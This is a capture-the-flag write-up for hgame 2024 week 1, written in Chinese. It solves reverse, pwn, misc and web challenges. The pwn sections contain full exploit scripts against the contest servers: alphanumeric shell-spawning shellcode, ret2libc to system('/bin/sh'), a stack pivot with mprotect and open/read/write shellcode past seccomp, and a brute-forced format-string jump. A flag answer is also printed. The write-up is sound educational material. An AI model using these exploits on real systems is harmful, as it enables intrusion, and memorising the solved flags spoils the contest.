hgame2024week1_wp
re
ezASM
checkflag可以看出 cmp的逻辑是 异或0x22
section .data
c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
flag db 33 dup(0)
format db "plz input your flag: ", 0
success db "Congratulations!", 0
failure db "Sry, plz try again", 0
section .text
global _start
_start:
; Print prompt
mov eax, 4
mov ebx, 1
mov ecx, format
mov edx, 20
int 0x80
; Read user input
mov eax, 3
mov ebx, 0
mov ecx, flag
mov edx, 33
int 0x80
; Check flag
xor esi, esi
check_flag:
mov al, byte [flag + esi]
xor al, 0x22
cmp al, byte [c + esi]
jne failure_check
inc esi
cmp esi, 33
jne check_flag
; Print success message
mov eax, 4
mov ebx, 1
mov ecx, success
mov edx, 14
int 0x80
; Exit
mov eax, 1
xor ebx, ebx
int 0x80
failure_check:
; Print failure message
mov eax, 4
mov ebx, 1
mov ecx, failure
mov edx, 18
int 0x80
; Exit
mov eax, 1
xor ebx, ebx
int 0x80
exp
a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
for i in a:
print(chr(i ^ 0x22),end="")
ezPYC
pycdc 反编译发现反编译失败,使用pydas反编译查看逻辑
[Code]
File Name: ezPYC.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 5
Flags: 0x00000000
[Names]
'flag'
'c'
'input'
'range'
'i'
'ord'
'print'
'exit'
[Locals+Names]
[Constants]
(
87
75
71
69
83
121
83
125
117
106
108
106
94
80
48
114
100
112
112
55
94
51
112
91
48
108
119
97
115
49
112
112
48
108
100
37
124
2
)
(
1
2
3
4
)
'plz input flag:'
0
36
1
4
'Sry, try again...'
'Wow!You know a little of python reverse'
None
[Disassembly]
0 RESUME 0
2 BUILD_LIST 0
4 LOAD_CONST 0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
6 LIST_EXTEND 1
8 STORE_NAME 0: flag
10 BUILD_LIST 0
12 LOAD_CONST 1: (1, 2, 3, 4)
14 LIST_EXTEND 1
16 STORE_NAME 1: c
18 PUSH_NULL
20 LOAD_NAME 2: input
22 LOAD_CONST 2: 'plz input flag:'
24 PRECALL 1
28 CALL 1
38 STORE_NAME 2: input
40 PUSH_NULL
42 LOAD_NAME 3: range
44 LOAD_CONST 3: 0
46 LOAD_CONST 4: 36
48 LOAD_CONST 5: 1
50 PRECALL 3
54 CALL 3
64 GET_ITER
66 FOR_ITER 62 (to 192)
68 STORE_NAME 4: i
70 PUSH_NULL
72 LOAD_NAME 5: ord
74 LOAD_NAME 2: input
76 LOAD_NAME 4: i
78 BINARY_SUBSCR
88 PRECALL 1
92 CALL 1
102 LOAD_NAME 1: c
104 LOAD_NAME 4: i
106 LOAD_CONST 6: 4
108 BINARY_OP 6 (%)
112 BINARY_SUBSCR
122 BINARY_OP 12 (^)
126 LOAD_NAME 0: flag
128 LOAD_NAME 4: i
130 BINARY_SUBSCR
140 COMPARE_OP 3 (!=)
146 POP_JUMP_FORWARD_IF_FALSE 21
148 PUSH_NULL
150 LOAD_NAME 6: print
152 LOAD_CONST 7: 'Sry, try again...'
154 PRECALL 1
158 CALL 1
168 POP_TOP
170 PUSH_NULL
172 LOAD_NAME 7: exit
174 PRECALL 0
178 CALL 0
188 POP_TOP
190 JUMP_BACKWARD 63
192 PUSH_NULL
194 LOAD_NAME 6: print
196 LOAD_CONST 8: 'Wow!You know a little of python reverse'
198 PRECALL 1
202 CALL 1
212 POP_TOP
214 LOAD_CONST 9: None
216 RETURN_VALUE
exp
flag = [
87,
75,
71,
69,
83,
121,
83,
125,
117,
106,
108,
106,
94,
80,
48,
114,
100,
112,
112,
55,
94,
51,
112,
91,
48,
108,
119,
97,
115,
49,
112,
112,
48,
108,
100,
37,
124,
2]
c = [
1,
2,
3,
4]
for i in range(len(flag)):
byte = flag[i] ^ c[i % 4]
print(chr(byte),end="")
ezUPX
发现是upx3.96,用upx -d 脱壳
是一个异或 0x32 cmp的逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
__int64 i; // rax
__int128 v6[2]; // [rsp+20h] [rbp-38h] BYREF
int v7; // [rsp+40h] [rbp-18h]
memset(v6, 0, sizeof(v6));
v7 = 0;
sub_140001020("plz input your flag:\n");
sub_140001080("%36s");
v3 = 0;
for ( i = 0i64; (*((_BYTE *)v6 + i) ^ 0x32) == byte_1400022A0[i]; ++i )
{
if ( (unsigned int)++v3 >= 0x25 )
{
sub_140001020("Cooool!You really know a little of UPX!");
return 0;
}
}
sub_140001020("Sry,try again plz...");
return 0;
}
exp
a = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13, 0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06, 0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
for i in a:
print(chr(i ^0x32),end="")
ezIDA
flag打开就有了
pwn
EzSignIn
nc连接直接有flag
ezshellcode
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF
void (*v5)(void); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (void (*)(void))(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
if ( v5 == (void (*)(void))-1LL )
{
perror("mmap");
exit(1);
}
printf("input the length of your shellcode:");
__isoc99_scanf("%2d", &v4);
if ( (int)v4 <= 10 )
{
printf("input your shellcode:");
myread(v5, v4);
}
else
{
puts("too long");
}
v5();
return 0;
}
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
char v3; // [rsp+1Fh] [rbp-11h]
unsigned int i; // [rsp+20h] [rbp-10h]
unsigned int v5; // [rsp+24h] [rbp-Ch]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
v5 = read(0, a1, a2);
for ( i = 0; i < v5; ++i )
{
v3 = *((_BYTE *)a1 + i);
if ( (v3 <= 96 || v3 > 122) && (v3 <= 64 || v3 > 90) && (v3 <= 47 || v3 > 57) )
{
puts("Invalid character\n");
exit(1);
}
}
return v6 - __readfsqword(0x28u);
}
一开始存len的是一个uint的变量,可以输入一个负数,让存len的uint变量溢出,这样myread就能read很多的数据,cmp有个类型转换,<=10也能过,ae64直接打就好了
from pwn import *
import itertools
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30966
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# g(p)
sla("input the length of your shellcode:","-1")
# from ae64 import AE64
# obj = AE64()
# sc = obj.encode(asm(shellcraft.sh()),'rax')
sc = b'WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP'
# g(p)
s(sc)
p.interactive()
Elden Random Challenge
一开始输入name那有一个溢出,可以把随机数种子覆盖掉,用ctypes模拟一遍随机数后,走到下边溢出打ret2libc
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
int v6; // [rsp+18h] [rbp-8h]
unsigned int seed; // [rsp+1Ch] [rbp-4h]
init(argc, argv, envp);
seed = time(0LL);
puts("Menlina: Well tarnished, tell me thy name.");
read(0, buf, 0x12uLL);
printf("I see,%s", buf);
puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");
srand(seed);
while ( i <= 98 )
{
v6 = rand() % 100 + 1;
v4 = 0;
puts("Please guess the number:");
read(0, &v4, 8uLL);
if ( v6 != v4 )
{
puts("wrong!");
exit(0);
}
++i;
}
puts("Here's a reward to thy brilliant mind.");
myread();
return 0;
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
libc = ctypes.cdll.LoadLibrary("./libc.so.6")
libc.srand(0)
payload = b'a' * 10 + p64(0)
sa("Menlina: Well tarnished, tell me thy name.\n",payload)
for i in range(99):
number = libc.rand() % 100 + 1
sa("Please guess the number:\n",p64(number))
ru("Here's a reward to thy brilliant mind.\n")
rdi = 0x0000000000401423
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
my_read = 0x40125D
payload = flat([
b'a' * (0x30 + 0x8),
rdi,puts_got,puts_plt,my_read
])
s(payload)
libc = elf.libc
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = addr - libc.sym['puts']
success(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a
payload = flat([
b'a' * (0x30 + 0x8),
ret,rdi,binsh,system
])
s(payload)
p.interactive()
Elden Ring Ⅰ
栈迁移 + orw,libc里面的open有些奇怪,有一个用rsp 解引用写数据的操作后面还有几个取地址,就直接mprotect把bss改成可以执行的,然后写syscall版本的orw,说起来想找syscall ret的,但是没有找到
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
v4 = seccomp_init(2147418112LL);
seccomp_rule_add(v4, 0LL, 59LL, 0LL);
seccomp_rule_add(v4, 0LL, 322LL, 0LL);
seccomp_load(v4);
puts("The fallen leaves tell a story...\n");
sleep(2u);
puts("...\n");
sleep(2u);
puts("...\n");
sleep(2u);
puts(
"And one other. Whom grace would again bless. A Tarnished of no renown. Cross the fog, to the Lands Between, to stand"
" before the Elden Ring. And become the Elden Lord.\n");
sleep(2u);
vuln();
puts("Good Bye.");
return 0;
}
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n");
return read(0, buf, 0x130uLL);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "47.100.139.115"
PORT = 32290
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
rdi = 0x00000000004013e3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x40125B
payload = flat([
b'a' * (0x100 + 0x8),rdi,puts_got,puts_plt,vuln
])
ru("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
s(payload)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak_addr - libc.sym['puts']
success(f"{hex(libc_base)}")
bss = 0x404000
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
ret = 0x000000000040101a
leave_ret = 0x0000000000401290
mprotect = libc_base + libc.sym['mprotect']
payload = flat([
b'a' * (0x100),bss,
rsi,bss,read,leave_ret
])
# g(p)
ru("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
s(payload)
payload = b'flag\x00\x00\x00\x00'
payload +=flat([
rdi,bss,rsi,0x1000,rdx,7,mprotect,bss + 0x50
])
payload = payload.ljust(0x50,asm('nop'))
payload += asm('''
mov rdi,0x404000
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,0x404200
mov rdx,0x30
mov rax,0
syscall
mov rdi,1
mov rsi,0x404200
mov rdx,0x30
mov rax,1
syscall
''')
# g(p)
s(payload)
p.interactive()
ez_fmt
只有一次格式化字符串的机会,栈上有一个指向rbp的指针,本来是想把rbp改成backdoor的地址,然后走完vuln main两次leave ret栈迁移过去,试了一下要改的数据太大了,改不成功。 在栈上写一个backdoor的地址,把 rbp改到backdoor - 8的栈地址上,那走完vuln的leave ret的时候,rbp + 8就是backdoor的地址,走完main的leave ret就跳到backdoor了,要改的数据只有一个字节,需要爆破一下
unsigned __int64 vuln()
{
__int64 buf[4]; // [rsp+0h] [rbp-80h] BYREF
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
strcpy((char *)buf, "make strings and getshell\n");
write(0, buf, 0x1BuLL);
read(0, s, 0x50uLL);
if ( !strchr(s, 112) && !strchr(s, 115) )
printf(s);
return __readfsqword(0x28u) ^ v3;
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "47.102.130.35"
PORT = 32365
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
target = 0x401245
payload=b"%" +str(0x70).encode() + b"c%18$hhn" + b"a"*0x4 + b"a"*0x28 + p64(target)
while(1):
try:
p = connect()
# g(p)
sa("M3",payload)
ru("@")
p.recv(timeout=2)
break
except EOFError:
p.close()
p.interactive()
misc
SignIn
puzzlesolver 一把梭
hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
web
ezHTTP
把响应用base64解码一下得到flag
GET / HTTP/1.1
Host: 47.100.137.175:32481
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
X-Real-IP: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Referer: vidar.club
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Bypass it
发现在注册那有一个跳转回登录的javascript代码,把JavaScript禁用后,注册账户,登录拿到flag
<html>
<head>
<meta charset="utf-8">
<title>用户注册</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<form action="register.php" method="post">
<fieldset>
<legend>用户注册</legend>
<ul>
<li>
<label>用户名:</label>
<input type="text" name="username" />
</li>
<li>
<label>密 码:</label>
<input type="password" name="password" />
</li>
<li>
<label> </label>
<input type="submit" name="register" value="注册" />
</li>
</ul>
</fieldset>
</form>
<script language='javascript' defer>alert('很抱歉,当前不允许注册');top.location.href='login.html'</script></div>
</body>
</html>